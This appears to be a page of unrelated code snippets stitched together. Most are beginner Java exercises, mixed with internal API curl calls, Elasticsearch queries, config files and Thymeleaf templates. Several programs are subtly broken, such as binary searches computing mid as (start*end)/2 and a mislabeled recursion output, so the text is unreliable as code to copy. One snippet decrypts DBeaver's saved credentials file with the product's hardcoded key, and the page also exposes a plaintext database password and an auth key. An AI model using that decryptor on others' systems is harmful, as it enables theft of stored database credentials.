			// inner loop to print space
			for (j = 1; j <= n - i; j++) {
				System.out.print(" ");
			}
			// inner loop to print star
			for (j = 1; j <= i; j++) {
				System.out.print(i + " ");
			}
			// print new line for each row
			System.out.println();
		}
	}

	// Driver Function
	public static void main(String args[])
	{
		int n = 6;
		printPattern(n);
	}
}
class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello, World!");

}
}
import java.util.Properties;
import javax.mail.*;
import javax.mail.internet.*;

public class SendEmail {
    public static void main(String[] args) {
        final String username = "your_email@example.com";
        final String password = "your_password";

        Properties props = new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.host", "smtp.example.com"); // Replace with your SMTP server
        props.put("mail.smtp.port", "587"); // Port number may vary

        Session session = Session.getInstance(props, new Authenticator() {
            protected PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(username, password);
            }
        });

        try {
            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress("your_email@example.com")); // Replace with your email
            message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("recipient@example.com")); // Replace with recipient's email
            message.setSubject("Test Email");
            message.setText("This is a test email sent using JavaMail.");

            Transport.send(message);

            System.out.println("Email sent successfully.");
        } catch (MessagingException e) {
            System.out.println("Email sending failed. Error: " + e.getMessage());
        }
    }
}
{
  "track_total_hits": true, 
  "size": 0,
  "query": {
    "bool": {
      "must": [
        {
          "term": {
            "bot_id.keyword": {
              "value": "633319bebf9aad75e25db951"
            }
          }
        },
        {
          "exists": {
            "field": "q.keyword"
          }
        }
      ]
    }
  }
}
curl --location --request GET 'http://192.168.101.42:9200/vbot_dialogs/_search' \
--header 'Content-Type: application/json' \
--data '{
    "query": {
        "bool": {
            "must": {
                "range": {
                    "begin_time": {
                        "gte": 1670778000000,
                        "lte": 1670864399000
                    }
                }
            },
            "filter": {
                "term": {
                    "bot_id": "614a99a0bf9aad37211d94c2"
                }
            }
        }
    }
}'
spring.datasource.url=jdbc:mysql://localhost:3306/javat
spring.datasource.username=root
spring.datasource.password=Tha@021103
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Drive

##Config Jpa
spring.jpa.hibernate.ddl-auto=update
spring.jpa.show-sql=true
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect
spring.jpa.properties.hibernate.format_sql=true
implementation 'com.squareup.picasso:picasso:(insert latest version)'
class binarySearch{
    public static void main(String[] arg)
    {
        int n=10;
        int arr[]={1,2,3,4,5,6,7,8,9,10};
        int key=8;
        int start=0;
        int end=n-1;
        int mid;
        if(arr[0]>arr[1])
        {
            System.out.println("Descending ");
            while(start<end)
            {
                mid=(start+end)/2;
                if(arr[mid]==key)
                {
                    System.out.println(/*"Element is " + key*/ " which present at index " + mid );
                    break;
                }
                else if(arr[mid]<key)
                {
                    start=mid+1;
                }
                else if(arr[mid]>key)
                {
                    end=mid-1;
                }
            }
        }
        else if(arr[0]<arr[1])
        {
            System.out.println("Ascending");
              while(start<end)
            {
                mid=(start+end)/2;
                if(arr[mid]==key)
                {
                    System.out.println(/*"Element is " + key*/ " which present at index " + mid );
                    break;
                }
                else if(arr[mid]>key)
                {
                    start=mid+1;
                }
                else if(arr[mid]<key)
                {
                    end=mid-1;
                }
            }
        }
        
    }
}
class binarySearch{
    public static void main(String[] arg)
    {
        int n=10;
        int arr[]={10,9,8,7,6,5,4,3,2,1};
        int key=10;
        int start=0;
        int end=n-1;
       
        while(start<end)
        {
             int mid=(start*end)/2;
            if(arr[mid]==key)
            {
                System.out.println("key index is " + mid);
                break;
            }
            else if(arr[mid]<key)
            {
                end=mid-1;
            }
            else if(arr[mid]>key)
            {
                start=mid+1;
            }
            if(start>end){
                System.out.println("-1");
                
            }
        }
    }
}
class binarySearch{
    public static void main(String[] arg)
    {
        int n=10;
        int arr[]={1,2,3,4,5,6,7,8,9,10};
        int key=5;
        int start=0;
        int end=n-1;
       
        while(start<end)
        {
             int mid=(start*end)/2;
            if(arr[mid]==key)
            {
                System.out.println("key index is " + mid);
                break;
            }
            else if(arr[mid]>key)
            {
                end=mid-1;
            }
            else if(arr[mid]<key)
            {
                start=mid+1;
            }
            if(start>end){
                System.out.println("-1");
                
            }
        }
    }
}
package Graph;
import java.util.ArrayList;
import java.util.*;

public class GraphTraversal {
    public  static  class  Edge{
        int src;
        int dest;
        Edge(int src , int dest){
            this.dest=dest;
            this.src =src;
        }
    }
    static void creategraph(ArrayList<Edge> g []){
        for(int i=0;i<g.length;i++){
            g[i] = new ArrayList<>();
        }
        g[0].add(new Edge(0,1));
        g[0].add(new Edge(0,2));

        g[1].add(new Edge(1,0));
        g[1].add(new Edge(1,3));

        g[2].add(new Edge(2,0));
        g[2].add(new Edge(2,4));

        g[3].add(new Edge(3,1));
        g[3].add(new Edge(3,4));
        g[3].add(new Edge(3,5));

        g[4].add(new Edge(4,2));
        g[4].add(new Edge(4,3));
        g[4].add(new Edge(4,5));

        g[5].add(new Edge(5,3));
        g[5].add(new Edge(5,4));
        g[5].add(new Edge(5,6));

        g[6].add(new Edge(6,5));
    }


    //DFS Traversal
    public static void dfs(ArrayList<Edge> list[], boolean[] visited, int curr){
       if(visited[curr]){
           return;
       }
        System.out.println(curr);
       visited[curr] = true;
       for(int i=0;i<list[curr].size();i++){
           Edge e = list[curr].get(i);
           dfs(list,visited,e.dest);
       }
    }

    //BFS Traversal
    public static void bfs(ArrayList<Edge> list[]){
       Queue<Integer> q = new LinkedList<>();
       boolean visited[] = new boolean[list.length];

       q.add(0);

       while(!q.isEmpty()){
           int curr = q.remove();
           if(!visited[curr]) {
               System.out.println(curr);
               visited[curr] = true;
               for (int i = 0; i < list[curr].size(); i++) {
                   Edge e = list[curr].get(i);
                   q.add(e.dest);
               }
           }
       }
    }

    //Finding all possible paths from one point to another point

    public static void ALlpaths(ArrayList<Edge> list[],boolean[] visited,int src,int d,String path){
        if(src==d){
            System.out.println(path);
            return;
        }

            for (int i = 0; i < list[src].size(); i++) {
                Edge e = list[src].get(i);
                if (!visited[e.dest]) {
                    visited[e.dest] = true;
                    ALlpaths(list, visited, e.dest, d, path + e.dest);
                    visited[e.dest] = false;
                }
            }

    }

    public static void main(String[] args) {
      int V =7;
      ArrayList<Edge> list [] = new ArrayList[V];
      creategraph(list);
      boolean b [] = new boolean[V];
      int src =0;
      b[src]=true;
//      dfs(list,b,0);
        ALlpaths(list,b,src,5,""+src);
    }
}
package GreedyAlgo;

import java.util.ArrayList;

public class MinCoinsReq {
    public static void main(String[] args) {
        int arr [] = {2,5,10,20,50,100,200,500};
        int n =987;

        int count=0;
        ArrayList<Integer> a =new ArrayList();
        for (int i = arr.length-1; i >0 ; i--) {
            while (n>=arr[i]) {
                if (n >= arr[i]) {
                    count++;
                    a.add(arr[i]);
                    n-=arr[i];
                }
            }
        }
        System.out.println(count);
        for(int s:a){
            System.out.print(s+" ");
        }
        System.out.println();
    }
}
package GreedyAlgo;

import java.util.Arrays;
import java.util.Comparator;

public class JobSequenceProblem {
    public static void main(String[] args) {
        int job [][]= {{4,20},{2,10},{1,40},{3,30}};
        Arrays.sort(job, Comparator.comparingDouble(o -> o[1]));

        int pro= job[job.length-1][1];
        int lastend= job[job.length-1][0];
        for(int i = job.length-1;i>=0;i--){
            if(lastend < job[i][0]){
                pro+=job[i][1];
            }
        }
        System.out.println(pro);
    }
}
public class fractionKnapsack {
    public static void main(String[] args) {
        int we [] = {15,40,30,35,30};
        int val [] = {80,80,20,45,30};
        int cap =75;

        double ratio[][] = new double[val.length][2];

        for(int i=0;i<we.length;i++){
            ratio[i][0] =i;
            ratio[i][1] = val[i]/(double)we[i];
        }

        Arrays.sort(ratio, Comparator.comparingDouble(o -> o[1]));
        int pro=0;

        for(int i= ratio.length-1;i>=0;i--){
            int ind = (int) ratio[i][0];
            if(cap >=we[ind]){
                cap-=we[ind];
                pro+=val[ind];
            }else{
                pro+= ratio[i][1]*cap;
                cap=0;
                break;
            }
        }
        System.out.println(pro);
}
public class fractionKnapsack {
    public static void main(String[] args) {
        int we [] = {15,40,30,35,30};
        int val [] = {80,80,20,45,30};
        int cap =75;

        double ratio[][] = new double[val.length][2];

        for(int i=0;i<we.length;i++){
            ratio[i][0] =i;
            ratio[i][1] = val[i]/(double)we[i];
        }

        Arrays.sort(ratio, Comparator.comparingDouble(o -> o[1]));
        int pro=0;

        for(int i= ratio.length-1;i>=0;i--){
            int ind = (int) ratio[i][0];
            if(cap >=we[ind]){
                cap-=we[ind];
                pro+=val[ind];
            }else{
                pro+= ratio[i][1]*cap;
                cap=0;
                break;
            }
        }
        System.out.println(pro);
}
package GreedyAlgo;

import java.util.Arrays;
import java.util.Collections;

public class ChocolaProblem {
    public static void main(String[] args) {
        int n =4 ,m=6;
        Integer costVer [] = {2,1,3,1,4};
        Integer costHor [] ={4,1,2};

        Arrays.sort(costHor, Collections.reverseOrder());
        Arrays.sort(costVer,Collections.reverseOrder());

        int h =0,v=0;
        int hp=1,vp=1;
        int finalcost=0;
        while(h < costHor.length && v < costVer.length){
            if(costVer[v] >= costHor[h] ){
                finalcost+=costVer[v]*hp;
                vp++;
                v++;
            }else{
                finalcost+=costHor[h]*vp;
                hp++;
                h++;
            }
        }
        while(h<costHor.length){
            finalcost+=costHor[h]*vp;
            h++;
            hp++;
        }
        while(v<costVer.length){
            finalcost+=costVer[v]*hp;
            v++;
            vp++;
        }
        System.out.println(finalcost);
    }
}
package GreedyAlgo;

import java.util.ArrayList;

public class ActivitySelection {
    public static void main(String[] args) {
        int arr [] ={1,2,3,4};
        int arr2[] = {4,3,5,5};
        System.out.println(maxact(arr,arr2));
    }
    static int maxact(int start[],int [] end){
        int activites[][] = new int[start.length][3];
        for(int i=0;i< start.length;i++){
            activites[i][0]=i;
            activites[i][1]=start[i];
            activites[i][1]=end[i];
        }
        ArrayList<Integer> s =new ArrayList<>();
        int maxact = 1;
        s.add(0);
        int lastend = end[0];
        for(int i=1;i<start.length;i++){
            if(start[i]>=lastend){
                maxact++;
                s.add(i);
                lastend=end[i];
            }
        }
        for (int a: s) {
            System.out.print("A"+a +" ");
        }
        System.out.println();
        return maxact;
    }
}
class binarySearch
{
    public static void main(String[] arg)
    {
        int n,key;
        n=7;
        int start=0;
        int end=n-1;
        
        key=8;
        int arr[]={2,3,4,7,8,9};
        while(start<=end)
        {
            int mid=start+ (end-start)/2;
            if(arr[mid]==key)
            {
                System.out.println("Element is "+ key +" which present at " +mid);
                break;
            }
            if(arr[mid]<key)
            {
                start=mid+1;
            }
            else{
                end=mid-1;
            }
            if(start>end)
            {
                System.out.println("not present in array");
            }
        }
        
    }
}
class binarySearch
{
    public static void main(String[] arg)
    {
        int n,key;
        n=7;
        int start=0;
        int end=n-1;
        
        key=8;
        int arr[]={2,3,4,7,8,9};
        while(start<=end)
        {
            int mid=start+ (end-start)/2;
            if(arr[mid]==key)
            {
                System.out.println("Element is "+ key +" which present at " +mid);
                break;
            }
            if(arr[mid]<key)
            {
                start=mid+1;
            }
            else{
                end=mid-1;
            }
            if(start>end)
            {
                System.out.println("not present in array");
            }
        }
        
    }
}
import javax.crypto.*;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;

    public class DecryptDbeaver {

        // from the DBeaver source 8/23/19 https://github.com/dbeaver/dbeaver/blob/57cec8ddfdbbf311261ebd0c7f957fdcd80a085f/plugins/org.jkiss.dbeaver.model/src/org/jkiss/dbeaver/model/impl/app/DefaultSecureStorage.java#L31
        private static final byte[] LOCAL_KEY_CACHE = new byte[] { -70, -69, 74, -97, 119, 74, -72, 83, -55, 108, 45, 101, 61, -2, 84, 74 };

        static String decrypt(byte[] contents) throws InvalidAlgorithmParameterException, InvalidKeyException, IOException, NoSuchPaddingException, NoSuchAlgorithmException {
            try (InputStream byteStream = new ByteArrayInputStream(contents)) {
                byte[] fileIv = new byte[16];
                byteStream.read(fileIv);
                Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
                SecretKey aes = new SecretKeySpec(LOCAL_KEY_CACHE, "AES");
                cipher.init(Cipher.DECRYPT_MODE, aes, new IvParameterSpec(fileIv));
                try (CipherInputStream cipherIn = new CipherInputStream(byteStream, cipher)) {
                    return inputStreamToString(cipherIn);
                }
            }
        }

        static String inputStreamToString(java.io.InputStream is) {
    java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
  }

  public static void main(String[] args) throws Exception {
    if (args.length != 1) {
      System.err.println("syntax: param1: full path to your credentials-config.json file");
      System.exit(1);
    }
    System.out.println(decrypt(Files.readAllBytes(Paths.get(args[0]))));
  }  

}
https://developers.google.com/maps/billing-and-pricing/billing#monthly-credit

https://developers.google.com/maps/documentation/distance-matrix/get-api-key
import java.util.Arrays;
import java.util.stream.*;


public class comments{

             public static void main(String [] args){
             
             //String name []={"peter","jacob","marc","chachou","harry"};
             
           //String name []={"peter","jacob","harry"};
            
           String name []={};
             
             String rs =whoLikesIt(name);
             System.out.println(rs);
             
             }
             
             static String whoLikesIt(String... names){
             
              if(names.length == 0){ return "no one like this";}
             
               
               
               if(names.length <=3){
               
                return String.valueOf(  Arrays.toString(names) +"like this");
               
               }
               
               
              else if(names.length > 3){
              
              
             int taille=names.length -  3;
             
             String tab []=new String[3];
              for(int i=0; i<names.length - taille; i++){
              
                tab[i] =names[i];
              }
             return   Arrays.toString(tab) +"and "+taille +" other people like this";
              
               
               
               }
               
               
               return  " "; 
               
               
               //version refactoring with java 8 API stream
               /*
              int newlenght =names.length - 3;
              
               return names.length == 0 ? "no one like this" 
                : names.length <= 3?  Arrays.toString(names) +"like this"
                :names.length >3? Arrays.toString( Arrays.stream(names,0,3)
                .toArray(String[]::new)) + "and " +newlenght +" other people like this"
                :" "; 
                */
             
             }

}
curl --location '10.254.247.79:8686/mobile/app/644b3fa2f1f9373c96cd4e70' \
--header 'authen_key: 6266076dbf9aad67dc287ee4' \
--header 'Content-Type: application/json' \
--data '{
    "sender":{
        "account":"19667"
        },
        "message":{
            "text":"",
            "payload":"intent_id::6382d251f49bb321fa4675ea",
            "timestamp":1689932725439
            },
    "type":"followup"
}'
  public static void bubbleSort(int[] arr) {
    var lastIndex = arr.length - 1;

    for(var j = 0; j < lastIndex; j++) {
      for(var i = 0; i < lastIndex - j; i++) {
        if(arr[i] > arr[i + 1]) {
          var tmp = arr[i];
          arr[i] = arr[i + 1];
          arr[i + 1] = tmp;
        }
      }
    }
  }
Chatbot-bitel: tạo bot mới cho nền tảng whatapp, tạo các kịch bản cho bot, sửa lại api download hóa đơn
Chatbot-report: - tạo job viết api download phân tích phiên chat của của user tính theo ngày
                         - update api download tvv status và showTvvStatus
Analytic-logging: update api updateStatusHumanAgent và showAllUserList, tạo log cho con logging trên môi trường prod
Intent-part: Viết api gợi ý kịch bản, tạo log cho con intent trên môi trường prod
ContentResolver contentResolver = getContentResolver();
Uri uri = android.provider.MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
Cursor cursor = contentResolver.query(uri, null, null, null, null);
if (cursor == null) {
    // query failed, handle error.
} else if (!cursor.moveToFirst()) {
    // no media on the device
} else {
    int titleColumn = cursor.getColumnIndex(android.provider.MediaStore.Audio.Media.TITLE);
    int idColumn = cursor.getColumnIndex(android.provider.MediaStore.Audio.Media._ID);
    do {
       long thisId = cursor.getLong(idColumn);
       String thisTitle = cursor.getString(titleColumn);
       // ...process entry...
    } while (cursor.moveToNext());
}
package com.amrita.jpl.cys21051.p2;
import java.util.*;

abstract class QuizGame {
    void startGame() {
        askQuestion();
    }

    abstract void askQuestion();

    abstract void evaluateAnswer(String answer);
}

interface QuizGameListener {
    void ifQuestionisAsked(String question);

    void ifAnswerisEvaluated(boolean isCorrect);
}

class QuizGameServer extends QuizGame implements QuizGameListener {
    private String[] questions = {
            "20CYS383 is the course code for JAVA LAB(true/false)?", "Is the colour of the sky blue(true/false)?",
    };
    private int currentQuestionIndex = 0;

    @Override
    void startGame() {
        System.out.println("Server initiated the QuizGame!");
        super.startGame();
    }

    @Override
    void askQuestion() {
        if (currentQuestionIndex >= questions.length) {
            System.out.println("All questions have been asked.");
            return;
        }

        String question = questions[currentQuestionIndex];
        ifQuestionisAsked(question);
    }

    @Override
    void evaluateAnswer(String answer) {
        boolean isCorrect = answer.equals("true");
        ifAnswerisEvaluated(isCorrect);
    }

    @Override
    public void ifQuestionisAsked(String question) {
        System.out.println("Server's question: " + question);
        currentQuestionIndex++;
    }

    @Override
    public void ifAnswerisEvaluated(boolean isCorrect) {
        System.out.println("The answer is" + isCorrect);
        askQuestion();
    }
}

class QuizGameClient extends QuizGame implements QuizGameListener {
    @Override
    void startGame() {
        System.out.println("Client initiated the QuizGame!");
        super.startGame();
    }

    @Override
    void askQuestion() {
        String question = "20CYS383 is the course code for JAVA LAB(1/0)?";
        ifQuestionisAsked(question);
        String question1 = "Is the colour of the sky blue(true/false)?";
        ifQuestionisAsked(question1);
    }

    @Override
    void evaluateAnswer(String answer) {
        System.out.println("Client sent answer: " + answer);
        boolean isCorrect = answer.equals("true");
        ifAnswerisEvaluated(isCorrect);
    }

    @Override
    public void ifQuestionisAsked(String question) {
        System.out.println("Client got a question: " + question);
        Scanner scanner = new Scanner(System.in);
        System.out.print("Write your answer(true, false): ");
        String answer = scanner.nextLine();
        evaluateAnswer(answer);
    }
    int i = 0;
    @Override
    public void ifAnswerisEvaluated(boolean isCorrect) {
        System.out.println("Client got result: The answer is " + isCorrect);
        if(isCorrect){
            i++;
            System.out.println("You've got 1 mark");
            System.out.println("Total Marks= " + i);
        }
        else {
            System.out.println("You've got 0 mark");
            System.out.println("Total Marks= " + i);
        }
    }

}

public class Main {
    public static void main(String[] args) {
        QuizGameServer qgs = new QuizGameServer();
        qgs.startGame();

        QuizGameClient qgc = new QuizGameClient();
        qgc.startGame();
    }
}
public class TablasAritmeticas {
    public static void main(String[] args) {
        for(int i = 1; i <= 10; i++){
          for(int j = 1; j <= 10; j++){
              int r = i * j;
              System.out.print(i + " x " + j + " = " + r + "\n");
          }
        }
    }
}
import java.util.Arrays;
import java.util.Objects;
import java.util.Scanner;

public class Calculadora {
    float operando;
    float operador;
    float resultado;
    String signo;

        public Calculadora(float operando, float operador, float resultado, String signo) {
        this.operando = 0;
        this.operador = 0;
        this.resultado = 0;
        this.signo = "";
    }

    public float getOperando() {
        return this.operando;
    }
    public float getOperador() {
            return this.operador;
    }

    public float getResultado() {
            return this.resultado;
    }

    public String getSigno() {
            return this.signo;
    }
    public void setOperando(float operando) {
        this.operando = operando;
    }

    public void setOperador(float operador) {
            this.operador = operador;
    }

    public void  setResultado(float resultado) {
            this.resultado = resultado;
    }

    public void setSigno(String signo) {
            this.signo = signo;
    }

    public void calculos() {
            String signos[] = {"+", "-", "*", "/"};

        Scanner datos = new Scanner(System.in);

        System.out.println(Arrays.toString(signos)+"\n" +
                " Escoja uno de los signos aritméticos de arriba.\n" +
                "Escribalo con el teclado por favor.");
        signo = datos.next();
        System.out.println("Muchas gracias,\n" +
                "ahora escriba un primer número : ");
        operando = datos.nextFloat();
        System.out.println("Y ahora un segúndo número : ");
        operador = datos.nextFloat();

        if(Objects.equals(signo, "+")){
            resultado = operando + operador;
            System.out.println(resultado);
        }
        if(Objects.equals(signo, "-")){
            resultado = operando - operador;
            System.out.println(resultado);
        }
        if(Objects.equals(signo, "*")){
            resultado = operando * operador;
            System.out.println(resultado);
        }
        if(Objects.equals(signo, "/")){
            resultado = operando / operador;
            System.out.println(resultado);
        }

    }
}
	public void writeFile(String text) {
		
        try {
            // Abre el archivo en modo de escritura
            BufferedWriter writer = new BufferedWriter(new FileWriter("C:\\Users\\integratec\\Desktop\\universalError.txt"));

            // Escribe en el archivo
            
            writer.write(text);
            writer.newLine(); // Añade una nueva línea
            

            // Cierra el archivo
            writer.close();

            System.out.println("Se ha escrito en el archivo exitosamente.");
        } catch (IOException e) {
            System.out.println("Ocurrió un error al escribir en el archivo: " + e.getMessage());
       }
<div class="form-group">
    <label>Ngày Lập: </label>
    <input type="date" class="form-control" th:field="*{ngayLap}" />
    <!-- get field in object -->
    <div th:if="${#fields.hasErrors('ngayLap')}" class="errors text-danger form-text" th:errors="*{ngayLap}"></div>
    <!-- validate form  -->
    <!-- table  -->

    <tr th:each="hoadon : ${list}">
        <td th:text="${hoadon.id}"></td>
        <td th:text="${hoadon.trangThai}"></td>
        <td>
            <a th:href="@{/hoadon/detail(id=${hoadon.id})}" class="btn btn-success ">detail</a>
            <a th:href="@{/hoadon/delete(id=${hoadon.id})}" class="btn btn-danger">Delete</a>
            <a th:href="@{/hoadon/update(id=${hoadon.id})}" class="btn btn-warning">Update</a>
        </td>
    </tr>
    <!-- table  -->
    <!-- combooboxx -->
    <div class="form-group">
        <label for="sanPham">Sản Phẩm:</label>
        <select class="form-control" th:field="*{sanPham}">
            <option value="">Chọn SanPham</option>
            <option th:each="sp : ${sanPhams}" th:value="${{sp}}" th:text="${sp.ten}">
            </option>
        </select>
        <div th:if="${#fields.hasErrors('sanPham')}" class="errors text-danger form-text" th:errors="*{sanPham}"></div>
    </div>
    <!-- combooboxx -->
    <!-- form  -->
    <form enctype="multipart/form-data" th:action="@{/manager/chitietsanpham/store}" th:object="${chitietsanpham}"
        method="post" class="form">
    </form>
    <!-- form -->
</div>




<!-- paniagation -->
              <nav aria-label="Page navigation example">
        <ul class="pagination justify-content-center">
            <li class="page-item">
                <a class="page-link" th:href="@{/khachhang/pre}">Previous</a>
            </li>
            <li th:each="index : ${panigation}" class="page-item"><a class="page-link"
                    th:href="@{/khachhang/pageno(pageno=${index})}" th:text="${index+1}"></a></li>
            <li class="page-item">
                <a class="page-link" th:href="@{/khachhang/next}">Next</a>
            </li>
        </ul>
    </nav>
<div class="form-group">
    <label>Ngày Lập: </label>
    <input type="date" class="form-control" th:field="*{ngayLap}" />
    <!-- get field in object -->
    <div th:if="${#fields.hasErrors('ngayLap')}" class="errors text-danger form-text" th:errors="*{ngayLap}"></div>
    <!-- validate form  -->
    <!-- table  -->

    <tr th:each="hoadon : ${list}">
        <td th:text="${hoadon.id}"></td>
        <td th:text="${hoadon.trangThai}"></td>
        <td>
            <a th:href="@{/hoadon/detail(id=${hoadon.id})}" class="btn btn-success ">detail</a>
            <a th:href="@{/hoadon/delete(id=${hoadon.id})}" class="btn btn-danger">Delete</a>
            <a th:href="@{/hoadon/update(id=${hoadon.id})}" class="btn btn-warning">Update</a>
        </td>
    </tr>
    <!-- table  -->
    <!-- combooboxx -->
    <div class="form-group">
        <label for="sanPham">Sản Phẩm:</label>
        <select class="form-control" th:field="*{sanPham}">
            <option value="">Chọn SanPham</option>
            <option th:each="sp : ${sanPhams}" th:value="${{sp}}" th:text="${sp.ten}">
            </option>
        </select>
        <div th:if="${#fields.hasErrors('sanPham')}" class="errors text-danger form-text" th:errors="*{sanPham}"></div>
    </div>
    <!-- combooboxx -->
    <!-- form  -->
    <form enctype="multipart/form-data" th:action="@{/manager/chitietsanpham/store}" th:object="${chitietsanpham}"
        method="post" class="form">
    </form>
    <!-- form -->
</div>
a.

public static void main(String[] args) {
		
		xmethod(5);
	
	}
	public static void xmethod(int n) {
		if(n > 0) {
			System.out.print( n + " ");
			xmethod (n-1);
	
		}
	}
}
//output:
5 4 3 2 1


b. 
public static void main(String[] args) {
		
		xmethod(5);
	
	}
	public static void xmethod(int n) {
		if(n > 0) {
			xmethod (n-1);
			System.out.print( n + " ");
		}
	}
}

//Output:
 5 4 3 2 1
public static void main(String[] args) {
		
		//Scanner scan = new Scanner(System.in); 
		//System.out.println("Enter Non Negetive Number: ");
		//int number = scan.nextInt();
		
		System.out.println(xmethod(5));
		
		
	}
	public static int xmethod(int number) {
		if(number==1)
			return 1;
		else
			return number + xmethod(number-1);
	}
}

//OUTPUT: 15
1+2+3+4+5 =  15
public static void main(String[] args) {
		int array1[]={2,3,4,6};
		int array2[]={1,2,5,4,5,7,2,3}; 
		
		System.out.print("my Array 1 = " + Arrays.toString(array1));
		
		System.out.print("\n\nmy Array 2 = " + Arrays.toString(array2));

		System.out.println("\n\n\nFrom Array1 to Array2:  " + Arrays.toString(append(array1,array2)));
		
		
		System.out.println("\n\nFrom Array2 To Array 1: " + Arrays.toString(append(array2, array1)));
		

		
	}
	public static int[] append(int[] array1, int[] array2) {
		
		int array1Length = array1.length;
		int array2Length = array2.length;
		
		int[] array3 = new int[array1Length+array2Length]; 
		
		for(int i=0;i<array1Length;i++)
		{
			array3[i]=array1[i];
		}
		for(int i=0;i<array2Length;i++) 
		{
		array3[array1Length+i]=array2[i];
		}
		return array3;
		}
	
}

//OUTPUT:
my Array 1 = [2, 3, 4, 6]

my Array 2 = [1, 2, 5, 4, 5, 7, 2, 3]


From Array1 to Array2:  [2, 3, 4, 6, 1, 2, 5, 4, 5, 7, 2, 3]


From Array2 To Array 1: [1, 2, 5, 4, 5, 7, 2, 3, 2, 3, 4, 6]
public static void main(String[] args) {
		//int[] array = {1,2,3,4,5};
		//System.out.print(collapse(array));
		
	}
	@SuppressWarnings("unused")
	public static int[] collapse(int[] array) {
		
		int L=array.length; 
		int outSize;
		
		if(L%2==0)
			outSize = L/2;
		else
			outSize = L/2+1;
		
		int[] array2 = new int[outSize]; //{2 3 4 5 6 7} ->{5 9 13}
			//{2 3 4 5 6} -> {5 9 6}
		int i2=0;
		
		for(int i=0;i<L-1;i=i+2) 
		{
			array2[i/2] = array[i] + array[i+1];
			//i2++; }
			if(L%2==1) {
			array2[outSize-1] = array[L-1]; }
			return array2;
		}
		return array2;
	}
}
public static void main(String[] args) {
		int[] array1= {4,2,3,1,2,1};
		int[] array2 = {2,3,1};
		
		 System.out.print(contain(array1, array2));
		
	}
	
	public static boolean contain(int[] array1, int[] array2) {
		int counter =0;
		for(int i=0; i<(array1.length-array2.length); i++) 
		{
			counter =0;
			for(int j=0; j<array2.length; j++) 
			{
				if(array1[i+j] == array2[j]) 
					counter ++;
				else
					break;
				}
			if(counter == array2.length)
				return true;
		}
		return false;
	}
}

//OUTPUT:
true.
public static void main(String[] args) {
		int[][] array = {
				{10,20,30},
				{40,50,60},
				{70,80,90},
		};
		RowColumn(array);
		SumRow(array);
		SumColumn(array);
		
		String[][] name = {
				{"Moha", "Ade", "Yahya"},
				{"Abdi", "abdirahman", "Xidig"},
		};
		names(name);
		
	}
	public static void RowColumn(int[][] array) {
		for(int i =0; i<array.length; i++) {
			for(int j=0; j<array[i].length; j++) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}
	public static void SumRow(int[][] array) {
		for(int i=0; i<array.length; i++) {
			int Sum = 0;
			for(int j=0; j<array[i].length; j++) {
				Sum = Sum + array[i][j];
			}
			System.out.println("\nSum of Row " + i + ", is = " + Sum );
		}
	}
	public static void SumColumn(int[][] array) {
		for(int j=0; j<array[0].length; j++) {
			int sum = 0;
			for(int i=0; i<array.length; i++) {
				sum = sum + array[i][j];
			}
			System.out.println("\nSum of Column " + j + ", is = " + sum);
		}
	}
	public static void names(String[][] name) {
		for(int j=0; j<name[0].length; j++) {
			String full_name = "  ";
			for(int i=0; i<name.length; i++) {
				full_name = full_name + name[i][j];
			}
			System.out.println("\nfull names of colum " + j + ", are " + full_name);
		}
	}
}

//OUTPUT:
10 20 30 
40 50 60 
70 80 90 

Sum of Row 0, is = 60

Sum of Row 1, is = 150

Sum of Row 2, is = 240

Sum of Column 0, is = 120

Sum of Column 1, is = 150

Sum of Column 2, is = 180

full names of colum 0, are   MohaAbdi

full names of colum 1, are   Adeabdirahman

full names of colum 2, are   YahyaXidig
Could not find artifact com.aspose:aspose-cells:pom:20.7 in maven-public (http://10.30.154.118:8888/repository/maven-public/)
                                                                          
                                                                          https://lh4.googleusercontent.com/1Ju7yEQaVrd3e04fNRiI3iWMtlqJQUfJxK8cgTEWaNcxnB1VaJICzxIdhtZMv7zpZpCXrP1iyFp7qIPtbY0-U2Q65pSgF6VDOQG_HKgBK2RtX8paUMe4hzqE3JqYj4ClP8OsS2vf
                                                                          
                                                                          
                                                                          https://lh3.googleusercontent.com/tF7Km5-YwcQYBWKnSv62PHReo5MdsCDD6mcuXfxe-hge42rJyKQvKG4Vm_ZUqgntdtjZAVmO1rXJQpNKVP85mx1nm8rLByaC1n_vkLsms-1CZdlGsOjXWkveVR3addqFGk51BN7M
                                                                          
                                                                          https://lh5.googleusercontent.com/ksNIUAKmSvWG4dXOuNspGWz2hR1oZnjkFtglKdRwxjg--mdA_lKyA9tKumcYfQyjXINph8psn6STDYdGKjKyQi3ECy0pebxkYZGStd0U3bnWJM7dg9CmDYQ_VbhzCG64tqD58uLd
                                                                          
                                                                          http://10.121.43.43/api/chat-bot/pdf/download/receipt-a58303db-2013-431f-92fd-8d190b1416ce.pdf
public static void main(String[] args) {
		

//Reverse numbers in the column.
  
  int [][] array = { 
				{1,2}, 
				{3,4}, 
				{5,6}, };
		
		for(int i= 0; i<array.length; i++) {
			for(int j=array[i].length-1; j>=0; j--) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}

//OUTPUT:
2 1 
4 3 
6 5 

//Reverse numbers in Row
public static void main(String[] args) {
		
		int [][] array = { 
				{1,2}, 
				{3,4}, 
				{5,6}, };
		
		for(int i=array.length-1; i>=0; i--) {
			for(int j=0; j<array.length-1; j++) {
				System.out.print(array[i][j] + " ");
			}
			System.out.println();
		}
	}

//OUTPUT:
5 6 
3 4 
1 2 

//Reverse numbers both Column and Row.
public static void main(String[] args) {
		
		int [][] array = { 
				{1,2}, 
				{3,4}, 
				{5,6}, };
		
		for(int i=array.length-1; i>=0; i--) {
